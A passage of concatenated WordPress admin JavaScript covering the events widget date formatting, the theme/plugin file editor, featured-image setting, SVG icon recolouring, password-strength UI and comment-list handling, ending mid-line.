		 * Get a short time zone name, like `PST`.
		 *
		 * @since 5.5.2
		 *
		 * @param {number} startTimestamp
		 *
		 * @returns {string}
		 */
		getTimeZoneAbbreviation: function( startTimestamp ) {
			var timeZoneAbbreviation,
				eventDateTime = new Date( startTimestamp );

			/*
			 * Leaving the `locales` argument undefined is important, so that the browser
			 * displays the abbreviation that's most appropriate for the current locale. For
			 * some that will be `UTC{+|-}{n}`, and for others it will be a code like `PST`.
			 *
			 * This doesn't need to take `startTimestamp` into account, because a name like
			 * `America/Chicago` automatically tracks daylight savings.
			 */
			var shortTimeStringParts = eventDateTime.toLocaleTimeString( undefined, { timeZoneName : 'short' } ).split( ' ' );

			if ( 3 === shortTimeStringParts.length ) {
				timeZoneAbbreviation = shortTimeStringParts[2];
			}

			if ( 'undefined' === typeof timeZoneAbbreviation ) {
				/*
				 * It's important to use the _event_ time, not the _current_
				 * time, so that daylight savings time is accounted for.
				 */
				var timeZoneOffset = app.getFlippedTimeZoneOffset( startTimestamp ),
					sign = -1 === Math.sign( timeZoneOffset ) ? '' : '+';

				// translators: Used as part of a string like `GMT+5` in the Events Widget.
				timeZoneAbbreviation = _x( 'GMT', 'Events widget offset prefix' ) + sign + ( timeZoneOffset / 60 );
			}

			return timeZoneAbbreviation;
		},

		/**
		 * Format a start/end date in the user's local time zone and locale.
		 *
		 * @since 5.5.2
		 *
		 * @param {int}    startDate   The Unix timestamp in milliseconds when the the event starts.
		 * @param {int}    endDate     The Unix timestamp in milliseconds when the the event ends.
		 * @param {string} timeZone    A time zone string or offset which is parsable by `wp.date.i18n()`.
		 *
		 * @returns {string}
		 */
		getFormattedDate: function( startDate, endDate, timeZone ) {
			var formattedDate;

			/*
			 * The `date_format` option is not used because it's important
			 * in this context to keep the day of the week in the displayed date,
			 * so that users can tell at a glance if the event is on a day they
			 * are available, without having to open the link.
			 *
			 * The case of crossing a year boundary is intentionally not handled.
			 * It's so rare in practice that it's not worth the complexity
			 * tradeoff. The _ending_ year should be passed to
			 * `multiple_month_event`, though, just in case.
			 */
			/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */
			var singleDayEvent = __( 'l, M j, Y' ),
				/* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
				multipleDayEvent = __( '%1$s %2$d–%3$d, %4$d' ),
				/* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Ending year. */
				multipleMonthEvent = __( '%1$s %2$d – %3$s %4$d, %5$d' );

			// Detect single-day events.
			if ( ! endDate || format( 'Y-m-d', startDate ) === format( 'Y-m-d', endDate ) ) {
				formattedDate = dateI18n( singleDayEvent, startDate, timeZone );

			// Multiple day events.
			} else if ( format( 'Y-m', startDate ) === format( 'Y-m', endDate ) ) {
				formattedDate = sprintf(
					multipleDayEvent,
					dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ),
					dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone )
				);

			// Multi-day events that cross a month boundary.
			} else {
				formattedDate = sprintf(
					multipleMonthEvent,
					dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ),
					dateI18n( _x( 'F', 'upcoming events month format' ), endDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ),
					dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone )
				);
			}

			return formattedDate;
		}
	};

	if ( $( '#dashboard_primary' ).is( ':visible' ) ) {
		app.init();
	} else {
		$( document ).on( 'postbox-toggled', function( event, postbox ) {
			var $postbox = $( postbox );

			if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) {
				app.init();
			}
		});
	}
});

/**
 * Removed in 5.6.0, needed for back-compatibility.
 *
 * @since 4.8.0
 * @deprecated 5.6.0
 *
 * @type {object}
*/
window.communityEventsData.l10n = window.communityEventsData.l10n || {
	enter_closest_city: '',
	error_occurred_please_try_again: '',
	attend_event_near_generic: '',
	could_not_locate_city: '',
	city_updated: ''
};

window.communityEventsData.l10n = window.wp.deprecateL10nObject( 'communityEventsData.l10n', window.communityEventsData.l10n, '5.6.0' );
/*! This file is auto-generated */
window.wp||(window.wp={}),wp.themePluginEditor=function(i){"use strict";var t,o=wp.i18n.__,s=wp.i18n._n,n=wp.i18n.sprintf,r={codeEditor:{},instance:null,noticeElements:{},dirty:!1,lintErrors:[],init:function(e,t){r.form=e,t&&i.extend(r,t),r.noticeTemplate=wp.template("wp-file-editor-notice"),r.noticesContainer=r.form.find(".editor-notices"),r.submitButton=r.form.find(":input[name=submit]"),r.spinner=r.form.find(".submit .spinner"),r.form.on("submit",r.submit),r.textarea=r.form.find("#newcontent"),r.textarea.on("change",r.onChange),r.warning=i(".file-editor-warning"),r.docsLookUpButton=r.form.find("#docs-lookup"),r.docsLookUpList=r.form.find("#docs-list"),0<r.warning.length&&r.showWarning(),!1!==r.codeEditor&&_.defer(function(){r.initCodeEditor()}),i(r.initFileBrowser),i(window).on("beforeunload",function(){if(r.dirty)return o("The changes you made will be lost if you navigate away from this page.")}),r.docsLookUpList.on("change",function(){""===i(this).val()?r.docsLookUpButton.prop("disabled",!0):r.docsLookUpButton.prop("disabled",!1)})},showWarning:function(){var e=r.warning.find(".file-editor-warning-message").text();i("#wpwrap").attr("aria-hidden","true"),i(document.body).addClass("modal-open").append(r.warning.detach()),r.warning.removeClass("hidden").find(".file-editor-warning-go-back").trigger("focus"),r.warningTabbables=r.warning.find("a, button"),r.warningTabbables.on("keydown",r.constrainTabbing),r.warning.on("click",".file-editor-warning-dismiss",r.dismissWarning),setTimeout(function(){wp.a11y.speak(wp.sanitize.stripTags(e.replace(/\s+/g," ")),"assertive")},1e3)},constrainTabbing:function(e){var t,i;9===e.which&&(t=r.warningTabbables.first()[0],(i=r.warningTabbables.last()[0])!==e.target||e.shiftKey?t===e.target&&e.shiftKey&&(i.focus(),e.preventDefault()):(t.focus(),e.preventDefault()))},dismissWarning:function(){wp.ajax.post("dismiss-wp-pointer",{pointer:r.themeOrPlugin+"_editor_notice"}),r.warning.remove(),i("#wpwrap").removeAttr("aria-hidden"),i("body").removeClass("modal-open")},onChange:function(){r.dirty=!0,r.removeNotice("file_saved")},submit:function(e){var t={};e.preventDefault(),i.each(r.form.serializeArray(),function(){t[this.name]=this.value}),r.instance&&(t.newcontent=r.instance.codemirror.getValue()),r.isSaving||(r.lintErrors.length?r.instance.codemirror.setCursor(r.lintErrors[0].from.line):(r.isSaving=!0,r.textarea.prop("readonly",!0),r.instance&&r.instance.codemirror.setOption("readOnly",!0),r.spinner.addClass("is-active"),e=wp.ajax.post("edit-theme-plugin-file",t),r.lastSaveNoticeCode&&r.removeNotice(r.lastSaveNoticeCode),e.done(function(e){r.lastSaveNoticeCode="file_saved",r.addNotice({code:r.lastSaveNoticeCode,type:"success",message:e.message,dismissible:!0}),r.dirty=!1}),e.fail(function(e){e=i.extend({code:"save_error",message:o("Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.")},e,{type:"error",dismissible:!0});r.lastSaveNoticeCode=e.code,r.addNotice(e)}),e.always(function(){r.spinner.removeClass("is-active"),r.isSaving=!1,r.textarea.prop("readonly",!1),r.instance&&r.instance.codemirror.setOption("readOnly",!1)})))},addNotice:function(e){var t;if(e.code)return r.removeNotice(e.code),(t=i(r.noticeTemplate(e))).hide(),t.find(".notice-dismiss").on("click",function(){r.removeNotice(e.code),e.onDismiss&&e.onDismiss(e)}),wp.a11y.speak(e.message),r.noticesContainer.append(t),t.slideDown("fast"),r.noticeElements[e.code]=t;throw new Error("Missing code.")},removeNotice:function(e){return!!r.noticeElements[e]&&(r.noticeElements[e].slideUp("fast",function(){i(this).remove()}),delete r.noticeElements[e],!0)},initCodeEditor:function(){var e,t=i.extend({},r.codeEditor);t.onTabPrevious=function(){i("#templateside").find(":tabbable").last().trigger("focus")},t.onTabNext=function(){i("#template").find(":tabbable:not(.CodeMirror-code)").first().trigger("focus")},t.onChangeLintingErrors=function(e){0===(r.lintErrors=e).length&&r.submitButton.toggleClass("disabled",!1)},t.onUpdateErrorNotice=function(e){r.submitButton.toggleClass("disabled",0<e.length),0!==e.length?r.addNotice({code:"lint_errors",type:"error",message:n(s("There is %s error which must be fixed before you can update this file.","There are %s errors which must be fixed before you can update this file.",e.length),String(e.length)),dismissible:!1}).find("input[type=checkbox]").on("click",function(){t.onChangeLintingErrors([]),r.removeNotice("lint_errors")}):r.removeNotice("lint_errors")},(e=wp.codeEditor.initialize(i("#newcontent"),t)).codemirror.on("change",r.onChange),i(e.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":"theme-plugin-editor-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),i("#theme-plugin-editor-label").on("click",function(){e.codemirror.focus()}),r.instance=e},initFileBrowser:function(){var e=i("#templateside");e.find('[role="group"]').parent().attr("aria-expanded",!1),e.find(".notice").parents("[aria-expanded]").attr("aria-expanded",!0),e.find('[role="tree"]').each(function(){new t(this).init()}),e.find(".current-file:first").each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(!1)})}},a=(e.prototype.init=function(){this.domNode.tabIndex=-1,this.domNode.getAttribute("role")||this.domNode.setAttribute("role","treeitem"),this.domNode.addEventListener("keydown",this.handleKeydown.bind(this)),this.domNode.addEventListener("click",this.handleClick.bind(this)),this.domNode.addEventListener("focus",this.handleFocus.bind(this)),this.domNode.addEventListener("blur",this.handleBlur.bind(this)),(this.isExpandable?(this.domNode.firstElementChild.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode.firstElementChild):(this.domNode.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode)).addEventListener("mouseout",this.handleMouseOut.bind(this))},e.prototype.isExpanded=function(){return!!this.isExpandable&&"true"===this.domNode.getAttribute("aria-expanded")},e.prototype.handleKeydown=function(e){e.currentTarget;var t=!1,i=e.key;function o(e){return 1===e.length&&e.match(/\S/)}function s(e){"*"==i?(e.tree.expandAllSiblingItems(e),t=!0):o(i)&&(e.tree.setFocusByFirstCharacter(e,i),t=!0)}if(this.stopDefaultClick=!1,!(e.altKey||e.ctrlKey||e.metaKey)){if(e.shift)e.keyCode==this.keyCode.SPACE||e.keyCode==this.keyCode.RETURN?(e.stopPropagation(),this.stopDefaultClick=!0):o(i)&&s(this);else switch(e.keyCode){case this.keyCode.SPACE:case this.keyCode.RETURN:this.isExpandable?(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),t=!0):(e.stopPropagation(),this.stopDefaultClick=!0);break;case this.keyCode.UP:this.tree.setFocusToPreviousItem(this),t=!0;break;case this.keyCode.DOWN:this.tree.setFocusToNextItem(this),t=!0;break;case this.keyCode.RIGHT:this.isExpandable&&(this.isExpanded()?this.tree.setFocusToNextItem(this):this.tree.expandTreeitem(this)),t=!0;break;case this.keyCode.LEFT:this.isExpandable&&this.isExpanded()?(this.tree.collapseTreeitem(this),t=!0):this.inGroup&&(this.tree.setFocusToParentItem(this),t=!0);break;case this.keyCode.HOME:this.tree.setFocusToFirstItem(),t=!0;break;case this.keyCode.END:this.tree.setFocusToLastItem(),t=!0;break;default:o(i)&&s(this)}t&&(e.stopPropagation(),e.preventDefault())}},e.prototype.handleClick=function(e){e.target!==this.domNode&&e.target!==this.domNode.firstElementChild||this.isExpandable&&(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),e.stopPropagation())},e.prototype.handleFocus=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.add("focus")},e.prototype.handleBlur=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.remove("focus")},e.prototype.handleMouseOver=function(e){e.currentTarget.classList.add("hover")},e.prototype.handleMouseOut=function(e){e.currentTarget.classList.remove("hover")},e);function e(e,t,i){if("object"==typeof e){e.tabIndex=-1,this.tree=t,this.groupTreeitem=i,this.domNode=e,this.label=e.textContent.trim(),this.stopDefaultClick=!1,e.getAttribute("aria-label")&&(this.label=e.getAttribute("aria-label").trim()),this.isExpandable=!1,this.isVisible=!1,this.inGroup=!1,i&&(this.inGroup=!0);for(var o=e.firstElementChild;o;){if("ul"==o.tagName.toLowerCase()){o.setAttribute("role","group"),this.isExpandable=!0;break}o=o.nextElementSibling}this.keyCode=Object.freeze({RETURN:13,SPACE:32,PAGEUP:33,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40})}}function d(e){"object"==typeof e&&(this.domNode=e,this.treeitems=[],this.firstChars=[],this.firstTreeitem=null,this.lastTreeitem=null)}return d.prototype.init=function(){this.domNode.getAttribute("role")||this.domNode.setAttribute("role","tree"),function e(t,i,o){for(var s=t.firstElementChild,n=o;s;)("li"===s.tagName.toLowerCase()&&"span"===s.firstElementChild.tagName.toLowerCase()||"a"===s.tagName.toLowerCase())&&((n=new a(s,i,o)).init(),i.treeitems.push(n),i.firstChars.push(n.label.substring(0,1).toLowerCase())),s.firstElementChild&&e(s,i,n),s=s.nextElementSibling}(this.domNode,this,!1),this.updateVisibleTreeitems(),this.firstTreeitem.domNode.tabIndex=0},d.prototype.setFocusToItem=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i===e?(i.domNode.tabIndex=0,i.domNode.focus()):i.domNode.tabIndex=-1}},d.prototype.setFocusToNextItem=function(e){for(var t=!1,i=this.treeitems.length-1;0<=i;i--){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToPreviousItem=function(e){for(var t=!1,i=0;i<this.treeitems.length;i++){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToParentItem=function(e){e.groupTreeitem&&this.setFocusToItem(e.groupTreeitem)},d.prototype.setFocusToFirstItem=function(){this.setFocusToItem(this.firstTreeitem)},d.prototype.setFocusToLastItem=function(){this.setFocusToItem(this.lastTreeitem)},d.prototype.expandTreeitem=function(e){e.isExpandable&&(e.domNode.setAttribute("aria-expanded",!0),this.updateVisibleTreeitems())},d.prototype.expandAllSiblingItems=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i.groupTreeitem===e.groupTreeitem&&i.isExpandable&&this.expandTreeitem(i)}},d.prototype.collapseTreeitem=function(e){var t=!1;(t=e.isExpanded()?e:e.groupTreeitem)&&(t.domNode.setAttribute("aria-expanded",!1),this.updateVisibleTreeitems(),this.setFocusToItem(t))},d.prototype.updateVisibleTreeitems=function(){this.firstTreeitem=this.treeitems[0];for(var e=0;e<this.treeitems.length;e++){var t=this.treeitems[e],i=t.domNode.parentNode;for(t.isVisible=!0;i&&i!==this.domNode;)"false"==i.getAttribute("aria-expanded")&&(t.isVisible=!1),i=i.parentNode;t.isVisible&&(this.lastTreeitem=t)}},d.prototype.setFocusByFirstCharacter=function(e,t){t=t.toLowerCase(),(e=this.treeitems.indexOf(e)+1)===this.treeitems.length&&(e=0),-1<(e=-1===(e=this.getIndexFirstChars(e,t))?this.getIndexFirstChars(0,t):e)&&this.setFocusToItem(this.treeitems[e])},d.prototype.getIndexFirstChars=function(e,t){for(var i=e;i<this.firstChars.length;i++)if(this.treeitems[i].isVisible&&t===this.firstChars[i])return i;return-1},t=d,r}(jQuery),wp.themePluginEditor.l10n=wp.themePluginEditor.l10n||{saveAlert:"",saveError:"",lintError:{alternative:"wp.i18n",func:function(){return{singular:"",plural:""}}}},wp.themePluginEditor.l10n=window.wp.deprecateL10nObject("wp.themePluginEditor.l10n",wp.themePluginEditor.l10n,"5.5.0");/*! This file is auto-generated */
window.WPSetAsThumbnail=function(n,t){var a=jQuery("a#wp-post-thumbnail-"+n);a.text(wp.i18n.__("Saving\u2026")),jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:n,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){var e=window.dialogArguments||opener||parent||top;a.text(wp.i18n.__("Use as featured image")),"0"==t?alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):(jQuery("a.wp-post-thumbnail").show(),a.text(wp.i18n.__("Done")),a.fadeOut(2e3),e.WPSetThumbnailID(n),e.WPSetThumbnailHTML(t))})};/*! This file is auto-generated */
window.wp=window.wp||{},wp.svgPainter=function(e,i,n){"use strict";var t,o,a,m,r,s,c,u,l,f={},g=[];function p(){for(;l<256;)m=String.fromCharCode(l),s+=m,u[l]=l,c[l]=r.indexOf(m),++l}function d(n,t,e,a,i,o){for(var r,s=0,c=0,u="",l=0,f=(n=String(n)).length;c<f;){for(s=(s<<i)+(m=(m=n.charCodeAt(c))<256?e[m]:-1),l+=i;o<=l;)l-=o,u+=a.charAt(r=s>>l),s^=r<<l;++c}return!t&&0<l&&(u+=a.charAt(s<<o-l)),u}return e(function(){n.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")&&(e(n.body).removeClass("no-svg").addClass("svg"),wp.svgPainter.init())}),r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",s="",c=[256],u=[256],l=0,o={atob:function(n){var t;for(m||p(),n=n.replace(/[^A-Za-z0-9\+\/\=]/g,""),t=(n=String(n).split("=")).length;n[--t]=d(n[t],!0,c,s,6,8),0<t;);return n=n.join("")},btoa:function(n){return m||p(),(n=d(n,!1,u,r,8,6))+"====".slice(n.length%4||4)}},{init:function(){a=this,t=e("#adminmenu .wp-menu-image, #wpadminbar .ab-item"),this.setColors(),this.findElements(),this.paint()},setColors:function(n){(n=void 0===n&&void 0!==i._wpColorScheme?i._wpColorScheme:n)&&n.icons&&n.icons.base&&n.icons.current&&n.icons.focus&&(f=n.icons)},findElements:function(){t.each(function(){var n=e(this),t=n.css("background-image");t&&-1!=t.indexOf("data:image/svg+xml;base64")&&g.push(n)})},paint:function(){e.each(g,function(n,t){var e=t.parent().parent();e.hasClass("current")||e.hasClass("wp-has-current-submenu")?a.paintElement(t,"current"):(a.paintElement(t,"base"),e.on("mouseenter",function(){a.paintElement(t,"focus")}).on("mouseleave",function(){i.setTimeout(function(){a.paintElement(t,"base")},100)}))})},paintElement:function(n,t){var e,a;if(t&&f.hasOwnProperty(t)&&(t=f[t]).match(/^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i)&&"none"!==(e=n.data("wp-ui-svg-"+t))){if(!e){if(!(a=n.css("background-image").match(/.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/))||!a[1])return void n.data("wp-ui-svg-"+t,"none");try{e=("atob"in i?i:o).atob(a[1])}catch(n){}if(!e)return void n.data("wp-ui-svg-"+t,"none");e=(e=(e=e.replace(/fill="(.+?)"/g,'fill="'+t+'"')).replace(/style="(.+?)"/g,'style="fill:'+t+'"')).replace(/fill:.*?;/g,"fill: "+t+";"),e=("btoa"in i?i:o).btoa(e),n.data("wp-ui-svg-"+t,e)}n.attr("style",'background-image: url("data:image/svg+xml;base64,'+e+'") !important;')}}}}(jQuery,window,document);/*! This file is auto-generated */
!function(o){var e,a,t,n,i,r,p,d,l,c,u=!1,h=wp.i18n.__;function f(){"function"!=typeof zxcvbn?setTimeout(f,50):(!a.val()||c.hasClass("is-open")?(a.val(a.data("pw")),a.trigger("pwupdate")):b(),_(),m(),1!==parseInt(r.data("start-masked"),10)?a.attr("type","text"):r.trigger("click"),o("#pw-weak-text-label").text(h("Confirm use of weak password")),"mailserver_pass"!==a.prop("id")&&o(a).trigger("focus"))}function w(s){r.attr({"aria-label":h(s?"Show password":"Hide password")}).find(".text").text(h(s?"Show":"Hide")).end().find(".dashicons").removeClass(s?"dashicons-hidden":"dashicons-visibility").addClass(s?"dashicons-visibility":"dashicons-hidden")}function m(){r||(r=e.find(".wp-hide-pw")).show().on("click",function(){"password"===a.attr("type")?(a.attr("type","text"),w(!1)):(a.attr("type","password"),w(!0))})}function v(s,e,a){var t=o("<div />");t.addClass("notice inline"),t.addClass("notice-"+(e?"success":"error")),t.text(o(o.parseHTML(a)).text()).wrapInner("<p />"),s.prop("disabled",e),s.siblings(".notice").remove(),s.before(t)}function g(){var s;e=o(".user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit"),o(".user-pass2-wrap").hide(),d=o("#submit, #wp-submit").on("click",function(){u=!1}),p=d.add(" #createusersub"),n=o(".pw-weak"),(i=n.find(".pw-checkbox")).on("change",function(){p.prop("disabled",!i.prop("checked"))}),(a=o("#pass1, #mailserver_pass")).length?(l=a.val(),1===parseInt(a.data("reveal"),10)&&f(),a.on("input pwupdate",function(){a.val()!==l&&(l=a.val(),a.removeClass("short bad good strong"),_())})):a=o("#user_pass"),t=o("#pass2").on("input",function(){0<t.val().length&&(a.val(t.val()),t.val(""),l="",a.trigger("pwupdate"))}),a.is(":hidden")&&(a.prop("disabled",!0),t.prop("disabled",!0)),c=e.find(".wp-pwd"),s=e.find("button.wp-generate-pw"),m(),s.show(),s.on("click",function(){u=!0,s.not(".skip-aria-expanded").attr("aria-expanded","true"),c.show().addClass("is-open"),a.attr("disabled",!1),t.attr("disabled",!1),f(),w(!1),wp.ajax.post("generate-password").done(function(s){a.data("pw",s)})}),e.find("button.wp-cancel-pw").on("click",function(){u=!1,a.prop("disabled",!0),t.prop("disabled",!0),a.val("").trigger("pwupdate"),w(!1),c.hide().removeClass("is-open"),p.prop("disabled",!1),s.attr("aria-expanded","false")}),e.closest("form").on("submit",function(){u=!1,a.prop("disabled",!1),t.prop("disabled",!1),t.val(a.val())})}function b(){var s=o("#pass1").val();if(o("#pass-strength-result").removeClass("short bad good strong empty"),s&&""!==s.trim())switch(wp.passwordStrength.meter(s,wp.passwordStrength.userInputDisallowedList(),s)){case-1:o("#pass-strength-result").addClass("bad").html(pwsL10n.unknown);break;case 2:o("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:o("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:o("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;case 5:o("#pass-strength-result").addClass("short").html(pwsL10n.mismatch);break;default:o("#pass-strength-result").addClass("short").html(pwsL10n.short)}else o("#pass-strength-result").addClass("empty").html("&nbsp;")}function _(){var s=o("#pass-strength-result");s.length&&(s=s[0]).className&&(a.addClass(s.className),o(s).is(".short, .bad")?(i.prop("checked")||p.prop("disabled",!0),n.show()):(o(s).is(".empty")?(p.prop("disabled",!0),i.prop("checked",!1)):p.prop("disabled",!1),n.hide()))}o(function(){var s,a,t,n,i=o("#display_name"),e=i.val(),r=o("#wp-admin-bar-my-account").find(".display-name");o("#pass1").val("").on("input pwupdate",b),o("#pass-strength-result").show(),o(".color-palette").on("click",function(){o(this).siblings('input[name="admin_color"]').prop("checked",!0)}),i.length&&(o("#first_name, #last_name, #nickname").on("blur.user_profile",function(){var a=[],t={display_nickname:o("#nickname").val()||"",display_username:o("#user_login").val()||"",display_firstname:o("#first_name").val()||"",display_lastname:o("#last_name").val()||""};t.display_firstname&&t.display_lastname&&(t.display_firstlast=t.display_firstname+" "+t.display_lastname,t.display_lastfirst=t.display_lastname+" "+t.display_firstname),o.each(o("option",i),function(s,e){a.push(e.value)}),o.each(t,function(s,e){e&&(e=e.replace(/<\/?[a-z][^>]*>/gi,""),t[s].length)&&-1===o.inArray(e,a)&&(a.push(e),o("<option />",{text:e}).appendTo(i))})}),i.on("change",function(){var s;t===n&&(s=this.value.trim()||e,r.text(s))})),s=o("#color-picker"),a=o("#colors-css"),t=o("input#user_id").val(),n=o('input[name="checkuser_id"]').val(),s.on("click.colorpicker",".color-option",function(){var s,e=o(this);if(!e.hasClass("selected")&&(e.siblings(".selected").removeClass("selected"),e.addClass("selected").find('input[type="radio"]').prop("checked",!0),t===n)){if((a=0===a.length?o('<link rel="stylesheet" />').appendTo("head"):a).attr("href",e.children(".css_url").val()),"undefined"!=typeof wp&&wp.svgPainter){try{s=JSON.parse(e.children(".icon_colors").val())}catch(s){}s&&(wp.svgPainter.setColors(s),wp.svgPainter.paint())}o.post(ajaxurl,{action:"save-user-color-scheme",color_scheme:e.children('input[name="admin_color"]').val(),nonce:o("#color-nonce").val()}).done(function(s){s.success&&o("body").removeClass(s.data.previousScheme).addClass(s.data.currentScheme)})}}),g(),o("#generate-reset-link").on("click",function(){var e=o(this),s={user_id:userProfileL10n.user_id,nonce:userProfileL10n.nonce},s=(e.parent().find(".notice-error").remove(),wp.ajax.post("send-password-reset",s));s.done(function(s){v(e,!0,s)}),s.fail(function(s){v(e,!1,s)})})}),o("#destroy-sessions").on("click",function(s){var e=o(this);wp.ajax.post("destroy-sessions",{nonce:o("#_wpnonce").val(),user_id:o("#user_id").val()}).done(function(s){e.prop("disabled",!0),e.siblings(".notice").remove(),e.before('<div class="notice notice-success inline"><p>'+s.message+"</p></div>")}).fail(function(s){e.siblings(".notice").remove(),e.before('<div class="notice notice-error inline"><p>'+s.message+"</p></div>")}),s.preventDefault()}),window.generatePassword=f,o(window).on("beforeunload",function(){if(!0===u)return h("Your new password has not been saved.")}),o(function(){o(".reset-pass-submit").length&&o(".reset-pass-submit button.wp-generate-pw").trigger("click")})}(jQuery);/*! This file is auto-generated */
!function(w){var o,s,i=document.title,C=w("#dashboard_right_now").length,c=wp.i18n.__,x=function(t){t=parseInt(t.html().replace(/[^0-9]+/g,""),10);return isNaN(t)?0:t},r=function(t,e){var n="";if(!isNaN(e)){if(3<(e=e<1?"0":e.toString()).length){for(;3<e.length;)n=thousandsSeparator+e.substr(e.length-3)+n,e=e.substr(0,e.length-3);e+=n}t.html(e)}},b=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-comments",o="comment-count-approved";k("span.approved-count",n),t&&(t=w("span."+o,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?t.removeClass(o).addClass(a):t.addClass(o).removeClass(a),r(t,e)}),e.each(function(){var t=w(this);0<n?t.removeClass(a).addClass(o):t.addClass(a).removeClass(o),r(t,n)}))},k=function(t,n){w(t).each(function(){var t=w(this),e=x(t)+n;r(t,e=e<1?0:e)})},E=function(t){C&&t&&t.i18n_comments_text&&w(".comment-count a","#dashboard_right_now").text(t.i18n_comments_text)},R=function(t){t&&t.i18n_moderation_text&&(w(".comments-in-moderation-text").text(t.i18n_moderation_text),C)&&t.in_moderation&&w(".comment-mod-count","#dashboard_right_now")[0<t.in_moderation?"removeClass":"addClass"]("hidden")},l=function(t){var e,n,a;s=s||new RegExp(c("Comments (%s)").replace("%s","\\([0-9"+thousandsSeparator+"]+\\)")+"?"),o=o||w("<div />"),e=i,1<=(a=(a=s.exec(document.title))?(a=a[0],o.html(a),x(o)+t):(o.html(0),t))?(r(o,a),(n=s.exec(document.title))&&(e=document.title.replace(n[0],c("Comments (%s)").replace("%s",o.text())+" "))):(n=s.exec(e))&&(e=e.replace(n[0],c("Comments"))),document.title=e},I=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-pending",o="post-com-count-no-pending",s="comment-count-pending";C||l(n),w("span.pending-count").each(function(){var t=w(this),e=x(t)+n;e<1&&(e=0),t.closest(".awaiting-mod")[0===e?"addClass":"removeClass"]("count-0"),r(t,e)}),t&&(t=w("span."+s,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?(t.parent().addClass(o),t.removeClass(s).addClass(a)):(t.parent().removeClass(o),t.addClass(s).removeClass(a)),r(t,e)}),e.each(function(){var t=w(this);0<n?(t.parent().removeClass(o),t.removeClass(a).addClass(s)):(t.parent().addClass(o),t.addClass(a).removeClass(s)),r(t,n)}))};window.setCommentsList=function(){var i,v=0,g=w('input[name="_total"]',"#comments-form"),l=w('input[name="_per_page"]',"#comments-form"),p=w('input[name="_page"]',"#comments-form"),_=function(t,e,n){e<v||(n&&(v=e),g.val(t.toString()))},t=function(t,e){var n,a,o,s=w("#"+e.element);!0!==e.parsed&&(o=e.parsed.responses[0]),a=w("#replyrow"),n=w("#comment_ID",a).val(),a=w("#replybtn",a),s.is(".unapproved")?(e.data.id==n&&a.text(c("Approve and Reply")),s.find(".row-actions span.view").addClass("hidden").end().find("div.comment_status").html("0")):(e.data.id==n&&a.text(c("Reply")),s.find(".row-actions span.view").removeClass("hidden").end().find("div.comment_status").html("1")),i=w("#"+e.element).is("."+e.dimClass)?1:-1,o?(E(o.supplemental),R(o.supplemental),I(i,o.supplemental.postId),b(-1*i,o.supplemental.postId)):(I(i),b(-1*i))},e=function(t,e){var n,a,o,s,i=!1,r=w(t.target).attr("data-wp-lists");return t.data._total=g.val()||0,t.data._per_page=l.val()||0,t.data._page=p.val()||0,t.data._url=document.location.href,t.data.comment_status=w('input[name="comment_status"]',"#comments-form").val(),-1!=r.indexOf(":trash=1")?i="trash":-1!=r.indexOf(":spam=1")&&(i="spam"),i&&(n=r.replace(/.*?comment-([0-9]+).*/,"$1"),r=w("#comment-"+n),o=w("#"+i+"-undo-holder").html(),r.find(".check-column :checkbox").prop("checked",!1),r.siblings("#replyrow").length&&commentReply.cid==n&&commentReply.close(),a=r.is("tr")?(a=r.children(":visible").length,s=w(".author strong",r).text(),w('<tr id="undo-'+n+'" class="undo un'+i+'" style="display:none;"><td colspan="'+a+'">'+o+"</td></tr>")):(s=w(".comment-author",r).text(),w('<div 